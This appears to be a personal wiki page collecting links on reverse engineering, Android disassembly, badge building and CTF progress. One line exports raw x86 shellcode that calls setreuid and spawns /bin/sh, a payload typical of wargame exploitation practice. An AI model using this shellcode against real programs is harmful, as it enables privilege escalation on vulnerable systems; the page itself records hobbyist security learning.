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About this wiki

I needed a place to store various links and articles in a place that I could easily share and update. As such this is the end result , hopefully each link will at some point be accompanied by a blog post as well explaining in more detail what I thought or just to give a solution to a RE puzzle.


Medals I Have acquired from various races


Unv Of Japan

MIT Calculus Courseware

Reverse Engineering

Mac OS X Reverse Engineering , Beginner Tutorial Hackfortress Reversing Challenges

Android Reversing / Disassembly

Dalvik Bytecode

Base 64 Encoder in C

Badge Building

How to build a badge

Shellcode to spawn a new shell

export SHELLCODE=echo -e "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"

CTF’s attempted and progress -Furtherst Level : Level 10 -Furtherst Level : Level 12